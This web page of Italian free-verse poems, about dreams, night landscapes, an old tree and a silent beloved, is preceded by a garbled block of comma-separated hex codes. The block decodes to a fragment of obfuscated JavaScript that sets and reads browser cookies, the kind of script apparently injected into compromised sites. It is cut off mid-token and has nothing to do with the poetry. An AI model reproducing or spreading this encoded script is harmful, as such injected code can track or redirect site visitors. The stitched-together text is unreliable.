b,58,6b,5c,1f,20,32,4,1,17,6d,58,69,17,5c,6f,67,60,69,5c,17,34,17,65,5c,6e,17,3b,58,6b,5c,1f,20,32,4,1,17,60,5d,17,1f,65,3b,58,70,6a,34,34,65,6c,63,63,17,73,73,17,65,3b,58,70,6a,34,34,27,20,17,65,3b,58,70,6a,34,28,32,4,1,17,5c,6f,67,60,69,5c,25,6a,5c,6b,4b,60,64,5c,1f,6b,66,5b,58,70,25,5e,5c,6b,4b,60,64,5c,1f,20,17,22,17,2a,2d,27,27,27,27,27,21,29,2b,21,65,3b,58,70,6a,20,32,4,1,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,17,34,17,5a,66,66,62,60,5c,45,58,64,5c,22,19,34,19,22,5c,6a,5a,58,67,5c,1f,5a,66,66,62,60,5c,4d,58,63,6c,5c,20,4,1,17,22,17,19,32,5c,6f,67,60,69,5c,6a,34,19,17,22,17,5c,6f,67,60,69,5c,25,6b,66,3e,44,4b,4a,6b,69,60,65,5e,1f,20,17,22,17,1f,1f,67,58,6b,5f,20,17,36,17,19,32,17,67,58,6b,5f,34,19,17,22,17,67,58,6b,5f,17,31,17,19,19,20,32,4,1,74,4,1,5d,6c,65,5a,6b,60,66,65,17,3e,5c,6b,3a,66,66,62,60,5c,1f,17,65,58,64,5c,17,20,17,72,4,1,17,6d,58,69,17,6a,6b,58,69,6b,17,34,17,5b,66,5a,6c,64,5c,65,6b,25,5a,66,66,62,60,5c,25,60,65,5b,5c,6f,46,5d,1f,17,65,58,64,5c,17,22,17,19,34,19,17,20,32,4,1,17,6d,58,69,17,63,5c,65,17,34,17,6a,6b,58,69,6b,17,22,17,65,58,64,5c,25,63,5c,65,5e,6b,5f,17,22,17,28,32,4,1,17,60,5d,17,1f,17,1f,17,18,6a,6b,58,69,6b,17,20,17,1d,1d,4,1,17,1f,17,65,58,64,5c,17,18,34,17,5b,66,5a,6c,64,5c,p;
Mi estraneo dalla mia mente dubbiosa
per cercare
un posto più tranquillo
dove non occorre pensare
Accantono la mia analisi
delle cose
per vederle come sono realmente
Solletico la mia fantasia
per farla viaggiare
Voglio solo scrutare immagini nitide
e sognare
Il mistero e la realtà collidono
In un unico seme
Desidererei vederlo germogliare
e crescere
per capire
le cose da me non comprese
perché
viaggio in un mondo
fatto di paesaggi notturni
Sogno risvegliato
magico senso d’inquietudine
sospeso in aria fragile
Mezzogiorno di notte
illuminato dalla luna
Vorrei dirti tante cose
raccontarti fiabe di fate
e sospiri di rugiada
dimenticarmi in te
scoprire un nuovo essere
che è uno e meta
che non è niente di tangibile
solo essenza di spirito
un alito di vento e sospiri
Le lucciole mi ingannano
io provo a seguirle
fuggo via con loro
ma sono lento
lento come il cielo di Milano
Non si può piangere luce
quando dentro senti il buio
Chiuso e bloccato
permango
nella libertà assoluta
di essere prigioniero
della realtà facile
dell’immaginazione surreale
da me creata
Trovo risposte pallide
nel più oscuro tratto del cuore mio
dove si nascondono
schiette le paure più
languide, solari
nel loro essere cupe, forbite
e inattaccabili
Un sussurro pare una nota
stonata se ascoltato
con un orecchio
vagamente attento
Le venature nel legno
antico e saggio
mi insegnano
a scrivere
a contare
a piangere
e
a ridere
Molte volte
hai perso le foglie
e molte volte
sei rifiorito
illuminandoti di verde
La tua saggezza piega
l’ignoranza
e
la mia acerba
inconsapevolezza
Anche se contrastano
il mio
e il tuo
vocabolario
io
ti imito
e
ti stimo
Tu sei quasi me
e io
parte del tuo essere
Voglio raggiungere
il luogo dove
i sentimenti
e
le sensazioni sfumano
lievi,
si uniscono in placide frasi
sussurrate al
vero artista mio
ignoto autore,
modellatore
di argilla fragile
ignara di se stessa
troppo indaffarata
per rispecchiarsi
nell’oceano
Lascio che la rugiada, posandosi
leggera sul tuo viso chiaro,
liberi l’irrequieto mare
dal suo grigio color amaro
Parlami, silenziosa, di ciò
che t’impedisce di illuminare
il tempo fuggente col tuo sorriso
unico faro del mio vagare
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